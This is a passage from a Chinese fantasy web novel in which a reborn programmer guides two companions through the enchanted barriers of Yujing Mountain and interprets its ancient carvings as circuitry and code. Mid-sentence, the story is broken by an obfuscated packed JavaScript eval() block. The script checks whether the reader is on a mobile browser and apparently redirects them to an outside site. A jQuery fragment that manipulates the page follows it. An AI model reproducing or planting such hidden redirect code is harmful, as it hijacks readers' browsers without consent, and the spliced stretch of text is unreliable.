清音化身白鹿形态,在前方轻盈跳跃,时而用鼻子嗅嗅路边的奇花异草,时而竖起耳朵倾听林间的动静,尽职尽责地担任着斥候的角色。偶尔她还会跑回来,嘴里叼着几颗颜色鲜艳的果子,献宝似的放在祝君竹面前:“小姐,尝尝这个,‘朱玉果’,可甜了!放心,没毒!”
祝君竹看着那沾着清音口水的果子,嘴角微抽,但在清音期待的目光下,还是小心地拿起一颗擦了擦,放入口中。果子果然清甜多汁,一股温和的灵气随之化开,滋养着经脉。
林疏星在一旁看着,淡淡道:“此地灵气充裕,草木生灵皆得益处,这些灵果于修行确有些裨益,但不可多食,以免滋补太过。”
清音立刻反驳:“才不会呢!小姐身体好着呢!是吧小姐?”她说着,又瞪了林疏星一眼,小声嘀咕,“就知道泼冷水……”
祝君竹失笑,感觉有清音在身边,连这前途未卜的逃亡之路都变得鲜活起来。
随着深入,地势开始抬升,他们已经进入了玉京山余脉的范围。古木参天,藤蔓缠绕,许多植物都是祝君竹从未见过的形态,散发着奇异的光泽或香气。林间偶尔能看到一些温顺的小型精怪,见到生人便惊慌躲藏。
祝君竹忽然发问:“灵力,究竟是什么?就是一种看不到摸不着的能量吗?”
“灵力确是一种能量,但并非虚无缥缈,”林疏星折下一片树叶,指尖微光闪烁,树叶瞬间被一层薄霜覆盖,“它存在于万物之中,是构成天地法则的基础能量之一。修行,便是感知它,引导它,理解其运行规律,乃至最终与之共鸣,借用其力。”
祝君竹若有所思。这听起来,与现代物理学中的“场”和“能量”概念,似乎有某种奇妙的共通之处。她尝试着按照林疏星教导的方法,静心凝神,去感知周围。起初一片混沌,但渐渐地,她仿佛“看”到了空气中漂浮的、如同尘埃般闪烁的微小光点,感受到了脚下大地沉稳的能量流动,以及草木中蕴含的勃勃生机。这种体验玄妙无比。
数日后,他们在一处人迹罕至的山谷中,发现了一片残破的遗迹。
那是一片被巨大藤蔓和青苔覆盖的断壁残垣,依稀能看出曾经建筑的轮廓。一些巨大的石柱倾倒在地,上面雕刻着早已模糊不清的奇异纹路。岁月在此留下了深刻的痕迹,空气中弥漫着古老与荒凉的气息。
“这里……好像很久没人来过了。”清音变回人形,好奇地东摸摸西看看。
林疏星仔细查看着那些石刻,眉头微蹙:“这些纹路……并非现今仙朝或龙族流行的任何一种符文体系,更为古老,似乎是一种蕴含着某种……更接近本源道韵的阵法。我自幼喜爱研习阵法,不敢说对阵法一道登峰造极,却也算得上是博古通今。但此山中阵法之古朴精妙,竟是我生平未见。”
清音送了他一个大白眼:“切!吹牛……”
当然,林疏星和祝君竹都自动屏蔽了清音的吐槽。
随着不断靠近,一种无形的压力开始弥漫在空气中。周围的生灵明显稀少,连风雪似乎都变得温和了许多,仿佛不敢惊扰这片神圣之地。
“前面应该就是玉京山的外围禁制了。”林疏星停下脚步,望着前方看似寻常、却让他灵觉隐隐示警的山林,“据说擅闯者,会陷入迷阵幻境,最终迷失其中,或触发古老杀机,化为枯骨。”
清音紧张地咽了口唾沫,下意识地往祝君竹身边靠了靠:“小姐,我试过,闯不进去。身上会像烈焰焚身一样疼……靠您了!”
祝君竹深吸一口气,走到最前方。她凝视着那片静谧的山林,努力感知着。起初,并无任何异常,但当她尝试集中精神,去“倾听”或者说“感受”这片天地时,一种奇妙的共鸣感悄然浮现。
不是记忆,而是一种……直觉,一种仿佛来自血脉深处的熟悉感。她能“看到”前方空气中流淌着无数细微的、如同电路板上的能量回路般的纹路,它们遵循着某种复杂而玄奥的规律运转,构成了一个庞大的、无形的能量场。
“跟我走。”祝君竹轻声说道,语气带着一种自己都未曾察觉的笃定。她迈步向前,没有选择看似平坦的小径,而是走向一片看起来荆棘密布、毫无路径的灌木丛。
林疏星和清音紧随其后。踏入灌木丛的瞬间,周围的景象微微一荡,仿佛水面泛起的涟漪。清音忍不住低呼一声,紧紧抓住了祝君竹的衣角。
然而,预想中的荆棘刮擦并未到来。那些看似尖锐的枝条在他们靠近时,竟如同拥有生命般,悄无声息地向两侧分开,让出一条仅容一人通过的小径。脚下的土地坚实而平整,与外观的崎岖截然不同。
“小姐!您太厉害了!”清音惊喜地小声叫道。
林疏星眼中也闪过惊异之色。他能感觉到周围空间法则的细微变化,这绝非普通的障眼法,而是涉及到了更高层次的空间与能量运用。祝君竹(或者说她体内的江浅月印记)果然是被玉京山认可的!
祝君竹自己心中也是波澜起伏。她觉得自己是凭借一种类似于“模式识别”和“能量感知”的本能,找到了这条“安全路径”。这让她对玉京山,对那位云渺真人,以及对自己,对江浅月,产生了更浓厚的探究欲。
三人沿着这条隐秘小径深入。周围的景物不断变换,时而古木参天,时而怪石嶙峋,时而云雾缭绕,仿佛一步一景,移步换形。若非有祝君竹引路,他们早已迷失在这片玄奇的阵法之中。
行至一处较为开阔的山谷,祝君竹再次停下。前方,一道肉眼可见的、如同水波般荡漾的透明光幕拦住了去路。光幕之上,流转着无数细密复杂的符文,散发出令人心悸的能量波动。
“这应该就是核心禁制了。”林疏星神色凝重,“能否穿过,在此一举。”
清音看着那光幕,缩了缩脖子:“小姐,这个……也能过去吗?”
祝君竹没有立刻回答。她走近光幕,伸出手,指尖轻轻触碰那流动的能量。
一瞬间,大量的信息碎片涌入她的脑海,是关于这个禁制能量运转方式的模糊感知!她“看到”能量如同潮汐般涨落,看到符文如同代码般组合、验证……
作为一个资深程序员,她对这种结构化的、“有逻辑”的能量体系,产生了一种奇特的熟悉感。这不像是在面对神秘莫测的仙法,更像是在分析一个极其复杂、但并非无迹可寻的加密系统!
她闭上眼,全神贯注,尝试用自己的理解方式去“解析”这个禁制。在她看来,那些流转的符文就像是特定的“指令集”,能量的潮汐规律就像是“协议”,而整个光幕,就是一个需要特定“密钥”或“权限”才能通过的“防火墙”。
而她,祝君竹,或者说她所承载的江浅月身份,似乎就拥有这个“权限”。
她不再犹豫,集中精神,将那种源自血脉和神魂的“熟悉感”与“认同感”,如同发送一个认证请求般,导向那片光幕。
下一刻,奇异的事情发生了。
祝君竹触碰光幕的指尖,泛起微弱的、与她体内妖力截然不同的清辉。那坚韧的光幕如同被投入石子的水面,以她的指尖为中心,荡漾开一圈圈涟漪。涟漪所过之处,符文流转的速度放缓,能量波动变得柔和,最终,一个仅容一人通过的、稳定的门扉,悄然打开。
门扉之后,不再是之前所见的山林景象,而是一片氤氲着浓郁灵气、奇花异草遍布、远处有飞瀑流泉的仙境之地。
“成了!”清音欢呼一声,第一个钻了过去,好奇地东张西望。
林疏星看着站在光幕前,神情依旧沉静,仿佛只是完成了一件微不足道小事的祝君竹,心中震撼难言。如此轻易地……就打开了玉京山的核心禁制?这位曾经的悍妇“宸月公主”身上,到底还藏着多少秘密?她那位师傅云渺真人,又是何等人物?
他压下心中的疑虑,紧随清音之后,踏入了门户。
祝君竹是最后一个进入的。当她完全穿过光幕,门扉在身后无声闭合,似乎将外界的纷扰与追杀完全隔绝。扑面而来的,是浓郁得几乎化为实质的天地灵气,带着草木清香与湿润水汽,沁人心脾。举目望去,景象与外界的苍茫山野截然不同。奇花异草遍布山谷,许多植株叶片晶莹,脉络中似有流光闪烁,更有甚者,枝头悬挂着如同琉璃铃铛般的花朵,随风轻摇,发出细微悦耳的叮咚声,并非物理碰撞,更像是能量波动引发的谐鸣。远处,数道飞瀑如银河倒挂,坠入深潭,水声轰鸣,溅起的水雾在阳光下折射出七彩霓虹。空气中弥漫着一种古老、宁静而又充满生机的道韵。
“哇——!”清音张大了嘴巴,眼睛瞪得溜圆,半晌才发出一声惊叹,“这里……这里就是玉京山里面?也太……太漂亮了吧!”她兴奋地原地转了个圈,深深吸了一口气,脸上洋溢着陶醉,“这里的灵气,吸一口都觉得修为在涨!”
林疏星虽不似清音那般外露,但眼中亦是难掩震撼。他见过宫廷的富丽堂皇,也游历过名山大川,但如玉京山这般,将天然奇景与精纯灵气、古老道韵完美融合之地,实属生平仅见。他能清晰地感受到,此地的空间结构稳固异常,法则之力尤为活跃且层次分明,远非外界可比。更令他心惊的是,此地灵气虽浓郁,却并无狂暴之感,反而温顺平和,仿佛被某种更高层次的力量梳理过。
“果然不愧是上古禁地,云渺真人道场。”林疏星低声感叹,目光不由自主地投向走在最前方的祝君竹。只见她神色依旧平静,并未因眼前仙境般的景象而失态,那双清亮的眼眸中,反而闪烁着近乎探究与分析的光芒?
祝君竹此刻的感受确实与众不同。在她眼中,这片美轮美奂的仙境,更像是一个巨大无比的、运行良好的“生态能量系统”。是一个亟待解析的复杂系统。能量在她的眼中似乎已经实体化,围绕徜徉在山间。那些发光的植物,在她看来是高效的“光能-灵气转换器”;悦耳的花铃,是特定频率的“能量谐振器”,或许有宁神或调节局部能量场的作用;飞瀑流泉不仅是景观,更是带动整个区域水属性能量和部分势能流动的“天然泵站”。甚至连脚下看似普通的泥土,她都隐隐感知到其下交织的、稳定的地脉能量网络。
“小姐,您看那边!”清音指着不远处一片散发着朦胧白光的竹林,“那竹子会发光诶!我们去看看好不好?”她像个发现了新玩具的孩子,跃跃欲试。
祝君竹点了点头,三人向那片竹林走去。竹身如玉,剔透温润,竹叶则泛着柔和的白光,将周围映照得如同月夜。清音好奇地伸手想去触摸一根竹竿。
“且慢。”林疏星出声制止,“玉京山内一草一木皆非凡品,亦可能暗藏禁制,不可贸然触碰。”
清音吓得缩回手,吐了吐舌头:“哦……知道了,林老兄你就是谨慎过头。”她小声抱怨,但也没再乱动。
祝君竹却上前一步,仔细观察着竹身的纹理和周围能量的流动。她伸出食指,并未直接触碰竹身,而是在距离竹身寸许的位置缓缓移动,感受着能量的细微变化。“能量场稳定,结构对称,排斥性微弱……像是一种带有自我标识和低强度防御功能的生物材料。”她喃喃自语,用的是只有自己能听清的、夹杂着现代术语的语言,“其发光机制,似乎是体内某种物质与特定波段的灵气发生持续而温和的化学反应……或者说,是冷光源现象的能量层面体现?”
林疏星听着她模糊不清的低语,虽然不解其意,但看她专注而专业的神态,心中那份怪异感更浓。这位“祝姑娘”,似乎总能用一种他无法理解的角度观察和理解这个世界。
“无妨”祝君竹结束观察,对清音道,“可以触碰。不过林公子说的不错。这里所有的东西,都在一个巨大的能量场中错综复杂的联结着。没确定前确实不能乱来。”
清音这才小心翼翼地用指尖碰了碰玉竹,触手温凉光滑,她惊喜地低呼:“真的诶!凉凉的,滑滑的,好舒服!”
林疏星见状,也略微放松了警惕,暗自思忖:看来祝君竹或者说江浅月对此地的“权限”确实不低,甚至能本能地判断出某些潜在规则。他又岂会知道,江浅月只是遵从师尊的吩咐行事,算是知其然而不知起所以然。而祝君竹却不同,她已经绕过了操作界面,开始研究系统代码了。
三人继续深入。沿途又见到了许多奇景,会自动避开行人的、长着笑脸图案的奇异蘑菇;漂浮在半空中、随着呼吸节奏明灭的光球;还有一片区域,地面柔软如同活物,踩上去会荡开一圈圈涟漪,却不会下陷。
清音一开始还大呼小叫,后来渐渐麻木,只是瞪大眼睛贪婪地看着四周,嘴里不时念叨:“要是能一直住在这里就好了……”
林疏星则始终保持着警惕,一方面留意周围可能存在的未知危险,另一方面,他也在凭借自身对能量和阵法的理解,默默记忆着路径和周围环境的特征。他发现,此地的空间似乎并非完全固定,某些区域的景物会随着他们的行进发生细微的变化,仿佛整个玉京山是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998671|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个活着的、不断自我调整的巨大迷阵。若非有祝君竹引路,他们恐怕早已迷失方向。
祝君竹走在最前,她的“引路”更多是依靠一种直觉。那种血脉与神魂深处的熟悉感,如同一个内置的GPS导航系统,指引着她选择正确的方向。同时,她的大脑也在高速运转,尝试为这种直觉寻找科学的解释。
“这整座山就是一个巨大的生物计算机,而我拥有一个特殊的访问令牌。”
她越想越觉得奇妙,她对那位名义上的师傅“云渺真人”,产生了极大的好奇。如果是他创造出了这一切,那这位真人,恐怕不仅仅是一位强大的修行者,更可能是一位深谙宇宙底层运行规律的……超级科学家?
行至一处较为开阔的平地,前方出现了一片残破的建筑遗迹。与之前在外围看到的那些被藤蔓覆盖的废墟不同,这片遗迹虽然同样古老,损毁严重,但相对完整一些,依稀能辨认出是一座宫殿的基座和部分倒塌的墙壁。遗迹由一种非金非玉的黑色石材构筑,石质细腻,即便历经无数岁月,依然散发着幽冷的光泽。石壁上雕刻着大量复杂无比的图案和纹路,与之前光幕上的符文风格类似,但更为古老、深奥。
“这里……好像是一处古修遗址。”林疏星走上前,仔细观察着那些石刻,眉头紧锁,“这些纹路,比我见过的任何现存阵法符文都要复杂,蕴含的道韵……浩如烟海,难以理解。”他尝试去记忆和推演其中一个相对简单的阵法,立刻感到神识一阵刺痛,仿佛触及了某种不可直视的真理。
清音对石刻不感兴趣,她在废墟间蹦蹦跳跳,希望能找到什么前人遗落的宝贝,可惜除了碎石一无所有。
祝君竹的目光却被那些石刻深深吸引。她走近一面相对完整的墙壁,上面刻满了如同星辰轨迹般交错缠绕的线条,以及无数细密如蚁篆的奇异符号。在林疏星看来晦涩难懂、甚至会引起神识不适的图案,在祝君竹眼中,却呈现出一种别样的“美感”——一种结构上的严谨与逻辑之美。
她伸出手,指尖虚悬在石刻上方,沿着那些线条的走向缓缓移动。没有动用任何灵力,仅仅是依靠视觉观察和思维推演。
“有趣……”她低声自语,眼中闪烁着兴奋的光芒,那是属于祝君竹——那位顶尖程序员和科学爱好者,在遇到极具挑战性的难题时所特有的神采。
“这是……能量回路图?这些能量回路的走向……这里,这个节点的分叉结构,似乎是集成电路里的逻辑门?还有这个,明显是某种反馈调节机制,用于稳定核心能量输出……”
她完全沉浸在了自己的世界里,将现代科学的知识与眼前的古老秘法相互印证。
“林公子,你看这里。”她兴致勃勃地指着石刻的一处,对林疏星讲解起来,仿佛在给同事分析代码。
“这条主能量通道,从‘源点’(她指着图案中心一个类似太阳的标记)出发,分出三条支流,分别强化了‘能量稳定’、‘反馈调节’和‘信息传递’三个模块。而这三条支流最终又汇入这个大的循环,形成了一个自洽的、可持续的能量系统。当然,按照能量守恒定律……”
林疏星听得云里雾里。
“集成电路?”
“逻辑门?”
“反馈调节?”
“能量守恒定律?”
这些词汇他闻所未闻,但结合祝君竹的手指比划和她眼中那不容置疑的笃定光芒,他隐约感觉到,她似乎真的从中看出了什么门道!这绝非胡言乱语,而是一种自成体系的、极其严密的解读方式!
林疏星自诩博览群书。但眼前这位女子,却他心中的震撼无以复加,不仅身负诡异妖力,能开启玉京禁制,竟还能以如此……“离经叛道”的方式,解读连他都感到深奥无比的上古秘法?她口中的“另一个地方……她的家乡”,究竟是何等神奇的所在?
清音也凑了过来,歪着脑袋看了半天石刻,又看了看侃侃而谈的祝君竹,茫然地眨眨眼:“小姐,您在说什么呀?什么门啊路的?清音怎么一个字都听不懂?您是不是……脑子坏了?”她担心地想去摸祝君竹的额头。
祝君竹从沉浸状态中被唤醒,看到林疏星一脸愕然和清音满眼关切又迷惑的样子,不由失笑。她意识到自己刚才有些忘形,用了太多现代术语。
“没事没事!”她摆摆手,收敛了过于外露的情绪,但眼中的兴奋并未完全褪去。
“我只是觉得,这些石刻所记载内容的内在逻辑,与我过去学过的一些……‘格物致知’之理,颇有相通之处。”
“格物致知?”林疏星若有所思。仙朝亦有此说,但多指通过观察万物以明悟天道,却从未听说过能细化到如此……近乎“匠气”的程度。
“正是。”祝君竹点点头,目光再次投向石刻,语气带着一丝不易察觉的狂热。
“如果我理解无误,这片石刻记载的,并非具体的法术招式,而是一种……一种关于如何‘创造与约束,乃至发挥极致能量’的根本原理和方法论!它阐述了能量从激发、传导、增幅到最终形态控制的完整流程,其精妙程度,远超我的想象!”
她越说越觉得思路清晰。现代物理学中的理论研究,她书架上那些别人看来无比枯燥乏味的书籍,在此刻与石刻上的图案和感知到的道韵产生了奇妙的共鸣。她甚至觉得,如果给她足够的时间和计算资源(比如一台超级计算机),她或许能尝试建立一个数学模型来模拟这个能量系统的运行!这样她就能看出,这玩意究竟能发挥出多大的威力。
“创造与约束,乃至发挥极致能量……”林疏星重复着这句话,心中凛然。他虽无法像祝君竹那样“科学”解读,但作为修行者,他能感受到这石刻蕴含的磅礴意境与无上玄妙。若真能掌握其中万一,其威力恐怕足以撼天动地。这也让他对云渺真人更加敬畏。那等人物,若真的已经驾驭了如此力量?怕是早已突破第五境,踏入大罗天了罢?
就在这时,祝君竹忽然轻“咦”一声,目光锁定在石刻边缘一处不太起眼的、由数个嵌套圆环和射线构成的图案上。这个图案给她的感觉尤为特殊。
“这个结构……”她凝神细观,下意识地,体内那两股被炼化后沉寂已久的大妖之力,似乎受到某种牵引,微微波动了一下。与此同时,她的脑海中,一个属于江浅月的、极其模糊的记忆碎片骤然闪过——那是一个白衣身影,立于云端,指尖轻点,虚空生莲,日月同辉的景象……
“啊!”突如其来的头痛让她闷哼一声,扶住了额头。
“小姐!”清音连忙扶住她。
“祝姑娘?”林疏星也上前一步,面露关切。
“……我没事。”祝君竹缓过劲,摇了摇头,脸色有些苍白,但眼神却更加明亮,“只是……好像想起了一点什么。”她指着那个嵌套圆环图案,“这个,我感觉……它很重要。似乎是一种……钥匙,或者……接口?”
她无法用语言准确描述那种感觉,那是一种介于数学公式、物理定律和心灵感应之间的奇特认知。
林疏星顺着她指的方向看去,仔细观察那个图案,依旧觉得晦涩。
三人在这片遗迹中盘桓了约莫一个时辰。祝君竹如饥似渴地“阅读”着这些古老的“科学文献”,虽然大部分内容依旧如同天书,但凭借其强大的逻辑思维和跨学科知识背景,她竟也硬生生地解读出了不少基础的能量运作原理,与她体内力量的躁动隐隐呼应,仿佛找到了理论指导。
林疏星则负责警戒和记录,同时消化着祝君竹那些惊世骇俗的“解读”,世界观受到了不小的冲击。清音见小姐没事,又恢复了活泼,在确保安全的前提下,探索着遗迹的角落,偶尔捡到一块特别光滑或者带有天然花纹的小石头,就当成宝贝收起来。
夕阳开始西沉,玉京山内的光线变得柔和,那些发光植物和漂浮光球的光芒则愈发显眼,将山谷点缀得如梦似幻。
“天色将晚,此地虽看似祥和,但夜间难保没有未知变化。我们需尽快寻找一处安全的落脚点。”林疏星提议道。
祝君竹从石刻上收回目光,点了点头。虽然意犹未尽,但也知道安全第一。她再次凭借那种玄妙的直觉,选择了一个方向。
“往这边走,我感觉那边……似乎有更适合栖身之所的能量波动。”
有之前的成功经验,林疏星和清音对她这种“感觉”已是深信不疑。三人离开遗迹,继续前行。
穿过一片弥漫着淡紫色雾气的花海,绕过一座发出低沉嗡鸣的、仿佛活着的巨石,前方出现了一个幽静的山洞。洞口一对满是绿苔的石门,又被垂落的翠绿藤蔓遮掩,若不仔细看很难发现。洞内隐隐有清凉的气息流出,带着淡淡的檀香。
祝君竹在洞口驻足感知片刻,点了点头:“这里能量场稳定,内部空间干燥,气流循环良好,比较适合落脚。”
清音欢呼一声,率先拨了藤蔓推开石门钻了进去,洞内隐隐有清凉的气息流出,带着淡淡的檀香。很快里面传来她惊喜的声音:“小姐,林老兄,快进来!里面好大,好干净!还有石床石桌呢!像是有人打理过!”
林疏星和祝君竹对视一眼,皆从对方眼中看到了一丝惊讶与期待。有人打理?莫非……已经接近云渺真人的居所了?
两人紧随其后进入山洞。洞内果然别有洞天,空间宽敞,高约数丈,地面平整,洞壁光滑,显然是人工开凿修饰过的。洞内一角,果然有一张浑然天成的石床,旁边还有石桌石凳。最令人惊奇的是,洞顶镶嵌着几颗拳头大小的夜明珠,散发出柔和明亮的光芒,将洞内照得如同白昼。空气中弥漫的淡淡檀香,似乎是从石壁本身散发出来的,有凝神静气之效。
“这……这绝对是有人住的!”清音兴奋地在石床上摸了摸,一尘不染,“小姐,会不会是您师傅他老人家知道我们要来,特意给我们准备的?”
这个猜测让林疏星心中一紧。若真是云渺真人,至少对于他来说是福是祸,尚未可知。
祝君竹环顾四周,目光最终落在石桌桌面。那里,用不知名的白色粉末,勾勒着一个简单的图案——正是他们在遗迹石刻上看到的那个嵌套圆环与射线构成的图案!
她的心猛地一跳。
看来,他们找对地方了。而那位神秘的云渺真人,或许早已洞悉了他们的到来。
夜幕彻底降临,玉京山隐没在星光与自身辉光交织的朦胧之中。洞外,偶尔传来不知名灵兽的悠长啼叫,更显山谷幽深。洞内,夜明珠稳定地散发着光辉,祝君竹坐在石凳上,指尖无意识地在桌面那个图案上临摹,脑海中不断回闪着石刻的脉络与现代科学的原理,试图解开其更深层的秘密。林疏星则在洞口附近盘膝而坐,一边调息,一边警惕着外界动静。清音忙碌着从芥子袋里掏出准备好的干粮和清水,嘴里哼着不成调的小曲,对未来似乎充满了希望。
用过晚餐,清音在洞外拿出一把琴弹了许久。她虽性子简单,却对音律颇为精通。
祝君竹听着舒缓柔和的曲子,陷入沉思,暂时的安全并未让她放松警惕,反而让她更加清晰地认识到自身力量的不足与掌控力量的迫切性。玉京山的奥秘,体内的妖力,山外的追兵,以及记忆中的迷雾,都让她难以心安。
林疏星将外袍脱下,铺在石床上。
“你与清音睡这里,我在洞外守候。”
祝君竹点点头,赶了许久的路,看来那么多的石刻,她确实困乏难耐。清音收了琴,回来打了几个哈欠,爬到床里面倒头便睡了。
祝君竹笑着摇头,轻轻躺在她的外侧。一股清冽的雪松气息传入鼻腔,那是林疏星衣服上的味道。祝君竹莫名觉得心安,不多时便沉沉睡去。梦中,那位跨马持戟的年少将军,满面笑容的喊着“月儿”向她走来。
龙族边境,聚集地。两个穿着夜行衣的身影,出现在他们居住了一晚的小屋中。搜索一番后,二人分头离去。一人向南,另一人却向着玉京山的方向而来。
7. 第六回:牵手共破玄机深
玉京山的清晨,是在一片空灵的鸟鸣与草木清香中悄然降临的。洞顶的夜明珠光芒渐次柔和,与从藤蔓缝隙透入的天光交融,早早的唤醒了洞口的人。
清音听到外面的动机随即醒来,伸了个大大的懒腰,揉了揉眼睛,看到旁边石床上依旧合衣而卧、呼吸平稳的祝君竹,以及洞口处已然结束调息、正望着洞外出神的林疏星,她满足地叹了口气,小声嘀咕:“总算能睡个安稳觉了……”随即她又想起什么,蹑手蹑脚地爬起来,从芥子袋里掏出珍藏的最后几块精致糕点(来自天都著名的点心铺子“福鑫斋”,被她当宝贝一样带着逃难),小心翼翼地放在石桌上,准备给小姐当早餐。
祝君竹其实也早已醒来。昨夜那个关于年少将军的梦境短暂而模糊,醒来后只剩下心头一丝莫名的怅惘,更多的则是脑海中不断盘旋的玉京山石刻图案、那两股蛰伏的妖力,以及石桌上那个神秘的嵌套圆环标记。危机感如同悬在头顶的利剑,让她无法真正放松。
她坐起身,目光扫过石桌,看到了清音摆放的糕点,心中一暖,但对上清音那“快夸我”的亮晶晶眼神,只是无奈地笑了笑:“多谢,你自己也吃。”
林疏星听到动静,转过身来,晨光在他素雅的衣袍上镀了一层淡金。他神色平静,但眼底深处藏着一丝凝重。“祝姑娘,我们需得谈谈。”
三人围坐在石桌旁,清音一边小口啃着糕点,一边眼巴巴地看着林疏星,又看看自家小姐。
“此地虽暂时安全,但并非长久之计。”林疏星开门见山,“云渺真人踪迹缥缈,我们不知要等到何时。而外界追兵,绝不会因我们进入玉京山就放弃。他们或许短时间无法闯入核心禁制,但围困、或寻求其他手段渗透,皆有可能。堂堂仙朝的玄影监,有的是手段和奇人异士。”
祝君竹颔首,这一点她很清楚。“所以,提升自身实力,是当前唯一可控的选择。”她的目光落在自己的手上,仿佛能透过皮肤,看到那两股纠缠的力量。
“正是。”林疏星看向祝君竹,语气带着几分无奈与郑重,“祝姑娘,你体内力量庞杂而强大,非同小可,若不加以引导掌控,下次爆发,后果难料。不知你这体内的妖力从何而来?可否告知?”
祝君竹点头,随即把她坠海后听到苍陵与升卿两位妖君的对话说了一遍。
这一说直把林疏星唬的打了一个寒噤。
“两位妖君被雷劫轰的神形俱灭?却把妖力修为尽数留在了你的体内?”再怎么说这事情也太过离谱。
旁边的清音听着一脸的艳羡。
惊讶归惊讶,林疏星平复了一下心态。接着说:“这两位妖君,林某都有耳闻,都是第四境的强者。既然如此,或许是天意所为,非人力所能及。我虽非你师,对妖力修炼之法更是门外汉,但修行基础,万变不离其宗。若你愿意,我可先将仙朝通用的灵力修炼体系与你分说,再教你最基础的运气、归元、引导法门。或许……能为你找到一条掌控自身力量的路径。”
这是他深思熟虑后的决定。放任祝君竹这样一颗“不定时炸弹”在身边,于她于己都极其危险。既然暂时找不到云渺真人,他只能硬着头皮,尝试用自己理解的正统修炼法门,去碰碰运气。这无异于摸着石头过河,风险极大,但总好过坐视不理。
清音立刻拍手:“好啊好啊!林老兄你总算干了件正经事!小姐,快让他教!等您神功大成,咱们就能杀回天都,把那些坑害王爷的坏蛋统统打趴下!小姐您当年可是在战场上……”她挥舞着小拳头,仿佛已经看到了胜利的曙光。
祝君竹屏蔽了清音绘声绘色的聒噪之音,她看着林疏星眼中那“死马当活马医”的豁出去神色,心中又是好笑,又是感激。她当然明白这其中的勉强和风险,但正如林疏星所说,这是目前唯一的希望。
“有劳林公子。”她端正神色,认真道谢。
林疏星清了清嗓子,开始讲述。他尽量用最简洁明晰的语言,讲述了玄枢仙朝的修行晋升体系——四境十二阶。
“……故,修行之始,在于法身境,我们常称的第一境。”林疏星指尖在空气中虚划,留下点点灵光,勾勒出简单的脉络,“此境目标,乃明悟己身,神性初凝。需从凭借血脉本能运用力量,转变为真正理解并掌握自身神力的来源与本质。”
祝君竹点头。
“其后,乃是融界境,就是第二境,追求天人交感,权柄初显……”林疏星继续说着融界境乃至后面更高深的统御境第三境、法源境第四境,但重点仍放在法身境的打基础上。
祝君竹听得极其专注。不过结合了昨天看到的刻纹,这套体系在她听来,就像是一套极其复杂、但逻辑严密的“操作系统”和“权限晋升指南”。第一境的三个阶段,“观法”即从识别自身硬件驱动, “凝意”就是编写基础应用程序,而“法身”则是最终将核心程序与硬件深度融合,打造出专属的“超级计算机”……这简直和她学习编程、理解计算机架构的过程有异曲同工之妙!
“如果祝小姐能够观法内视妖力,通过凝意引导,将力量缓缓化为自己法身的一部分,便可逐步将这些妖力炼化为己用。祝小姐身负江浅月的神魂,这些对你来说,想必并不是难事。”
“也就是说,”她忍不住插话,眼中闪烁着领悟的光芒,“我现在要做的,首先是‘内视’,找到我体内那两股力量的‘源代码’或者说‘API接口’,理解它们的‘数据结构’和‘运行逻辑’,然后才能尝试编写‘控制脚本’,避免它们出现‘内存溢出’或‘进程冲突’,最终目标是让它们成为我‘操作系统’的稳定组成部分,甚至能调用它们编译出更强大的‘应用程序’(法术)?”
林疏星:“……”
清音:“???”
洞内陷入了一片诡异的寂静。
林疏星张了张嘴,感觉自己的大脑像是被一道天雷劈过,脑浆差点烧毁。他努力试图理解祝君竹的话,几乎所有的字他都认识,但组合在一起,仿佛成了另一种语言的咒文。“源…代码?欸…劈…埃?内…存溢出?”
他几十年建立起的修行世界观,正在被一种名为“祝君竹逻辑”的病毒疯狂攻击。
清音更是彻底放弃了思考,眨巴着大眼睛,小声问:“小姐……您是不是饿坏了?开始说胡话了?清音这里还有半块糕点……,不会是这姓林教你的法子不靠谱罢?我就知道他不可靠!”
祝君竹看着两人茫然又带着点惊恐的表情,这才意识到自己又下意识地切换到了“心流模式”。她尴尬地轻咳一声,试图用更“本地化”的语言解释:“我的意思是,我需要先感知到那两股力量的具体形态和特性,理解它们是如何在我体内存在和运行的,然后才能尝试去引导和控制它们,最终目标是完全驾驭它们,并利用它们施展出可控的法术。”
林疏星长长地、无声地舒了一口气,感觉濒临崩溃的神经稍微缓和了一些。虽然还是觉得她的表述方式古怪,但至少意思能懂了。
“大……大致如此。”他有些艰难地肯定道,感觉教这位学生,比当年面对考校还要耗费心神。
“那么,我们开始吧。”祝君竹跃跃欲试。理论框架有了,接下来就是实践环节。
林疏星定了定神,开始传授最基础的引气法门和内视之术。
“盘膝而坐,五心向天,放松心神,意守丹田……”他一边说,一边示范着标准的打坐姿势,“尝试放空思绪,将注意力集中于自身内部,将目光投向印堂之神魂所在,去寻找那潜藏的光点……”
祝君竹依言照做。对她而言,“放空思绪”有点难,她的脑子习惯了高速运转。但她很快找到了替代方案——将“内视”想象成运行一个系统自检程序,或者调用一个高级的“身体扫描仪”。她将自己的意识,如同探针一般,沉入那片感知中的“内部黑暗”。
起初依旧是混沌。但有了明确的方法论指导,以及玉京山浓郁灵气环境的辅助,加之江浅月的神魂之力,她很快捕捉到了不同。不再是之前模糊的能量感,而是更清晰的“信号”。
她“看”到了。
在她经脉的“背景能量流”中,存在着两个异常醒目、特性迥异的“能量团”或者说“高维结构”。
一股,呈现出炽烈的金红色,如同跳跃的火焰,又带着桀骜的锋锐之气,能量模式活跃、躁动,充满了攻击性和破坏欲,其核心似乎蕴含着某种与“吞噬”、“焚尽”相关的法则碎片。祝君竹下意识地给它贴上了标签:阳性/烈性/高熵态能量包。这大概对应了那位“苍陵君”(狐妖)的力量。
另一股,则是幽邃的冰蓝色,如同深潭寒水,能量模式沉静、绵长,带着阴柔的渗透性与腐蚀性,其核心法则似乎偏向“冻结”、“侵蚀”、“幻惑”。祝君竹将其标记为:阴性/柔性/低熵态能量包。这应该属于“升卿君”(蚺妖)。
